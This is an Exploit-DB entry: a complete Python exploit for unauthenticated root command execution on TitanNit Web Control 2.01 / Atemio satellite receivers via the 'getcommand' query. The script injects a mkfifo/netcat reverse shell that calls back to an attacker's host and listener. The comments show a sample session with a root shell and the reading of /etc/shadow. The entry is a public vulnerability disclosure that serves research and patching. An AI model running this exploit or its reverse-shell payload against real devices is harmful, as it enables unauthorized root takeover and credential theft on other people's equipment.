TitanNit Web Control 2.01 / Atemio 7600 - Root Remote Code Execution

EDB-ID:

51853

CVE:

N/A




Platform:

Hardware

Date:

2024-03-03


#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution
#
#
# Vendor: AAF Digital HD Forum | Atelmo GmbH
# Product web page: http://www.aaf-digital.info | https://www.atemio.de
# Affected version: Firmware <=2.01
#
# Summary: The Atemio AM 520 HD Full HD satellite receiver enables the
# reception of digital satellite programs in overwhelming image quality
# in both SD and HD ranges. In addition to numerous connections, the small
# all-rounder offers a variety of plugins that can be easily installed
# thanks to the large flash memory. The TitanNit Linux software used combines
# the advantages of the existing E2 and Neutrino systems and is therefore
# fast, stable and adaptable.
#
# Desc: The vulnerability in the device enables an unauthorized attacker
# to execute system commands with elevated privileges. This exploit is
# facilitated through the use of the 'getcommand' query within the application,
# allowing the attacker to gain root access.
#
# ========================================================================
# _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999
# [*] Starting callback listener child thread
# [*] Listening on port 9999
# [*] Generating callback payload
# [*] Calling
# [*] Callback waiting: 3s
# [*] ('192.168.1.13', 40943) called back
# [*] Rootshell session opened
# sh: cannot set terminal process group (1134): Inappropriate ioctl for device
# sh: no job control in this shell
# sh-5.1# id
# <-sh-5.1# id
# uid=0(root) gid=0(root)
# sh-5.1# cat /etc/shadow | grep root
# <-sh-5.1# cat /etc/shadow | grep root
# root:$6$TAdBGj2mY***:18729:0:99999:7:::
# sh-5.1# exit
# [*] OK, bye!
#
# _# 
# =======================================================================
#
# Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics)
#            GNU/Linux 3.14-1.17 (armv7l)
#            GNU/Linux 3.14.2 (mips)
#            ATEMIO M46506 revision 990
#            Atemio 7600 HD STB
#            CPU STx7105 Mboard
#            titan web server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2023-5801
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php
#
#
# 16.11.2023
#

from time import sleep
import threading
import requests
import socket
import sys

class RemoteControl:

    def __init__(self):
        self.timeout = 10
        self.target = None
        self.callback = None
        self.cstop = threading.Event()
        self.path = "/query?getcommand=&cmd="
        self.lport = None
        self.cmd = None

    def beacon(self):
        self.cmd   = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc "
        self.cmd  += self.callback + " "
        self.cmd  += str(self.lport) + " "
        self.cmd  += ">/tmp/j"
        self.path += self.cmd
        r = requests.get(self.target + self.path)

    def slusaj(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", self.lport))
        s.listen(1)
        print("[*] Listening on port " + str(self.lport))
        sleep(1)
        try:
            conn, addr = s.accept()
            print("\n[*]", addr, "called back")
            print("[*] Rootshell session opened")
            self.cstop.set()
        except socket.timeout:
            print("[-] Call return timeout\n[!] Check your ports")
            conn.close()
        while True:
            try:
                odg = conn.recv(999999).decode()
                sys.stdout.write(odg)
                command = input()
                command += "\n"
                if "exit" in command:
                    exit(-17)
                conn.send(command.encode())
                sleep(0.5)
                sys.stdout.write("<-" + odg.split("\n")[-1])
            except:
                print("[*] OK, bye!")
                exit(-1)
        s.close()

    def tajmer(self):
        for z in range(self.timeout, 0, -1):
            poraka = f"[*] Callback waiting: {z}s"
            print(poraka, end='', flush=True)
            sys.stdout.flush()
            sleep(1)
            if self.cstop.is_set():
                break
            print(' ' * len(poraka), end='\r')

        if not self.cstop.is_set():
            print("[-] Call return timeout\n[!] Check your ports")
            exit(0)
        else:
            print(end=' ')

    def thricer(self):
        print("[*] Starting callback listener child thread")
        plet1 = threading.Thread(name="ZSL", target=self.slusaj)
        plet1.start()
        sleep(1)
        print("[*] Generating callback payload")
        sleep(1)
        print("[*] Calling")
        plet2 = threading.Thread(name="ZSL", target=self.tajmer)
        plet2.start()
        self.beacon()
        plet1.join()
        plet2.join()

    def howto(self):
        if len(sys.argv) != 4:
            self.usage()
        else:
            self.target = sys.argv[1]
            self.callback = sys.argv[2]
            self.lport = int(sys.argv[3])
            if not self.target.startswith("http"):
                self.target = "http://{}".format(self.target)

    def dostabesemolk(self):
        naslov = """
    o===--------------------------------------===o
    |                                            |
    | TitanNit Web Control Remote Code Execution |
    |                ZSL-2023-5801               |
    |                                            |
    o===--------------------------------------===o
                          ||
                          ||
                          ||
                          ||
                          ||
                          ||
                          ||
                          ||
                          L!
                         /_)
                        / /L
_______________________/ (__)
_______________________  (__)
                       \_(__)
                          ||
                          ||
                          ||
                          ||
                          ||
                          ||
        """
        print(naslov)

    def usage(self):
        self.dostabesemolk()
        print("Usage: ./titan.py <target ip> <listen ip> <listen port>")
        print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999")
        exit(0)

    def main(self):
        self.howto()
        self.thricer()

if __name__ == '__main__':
    RemoteControl().main()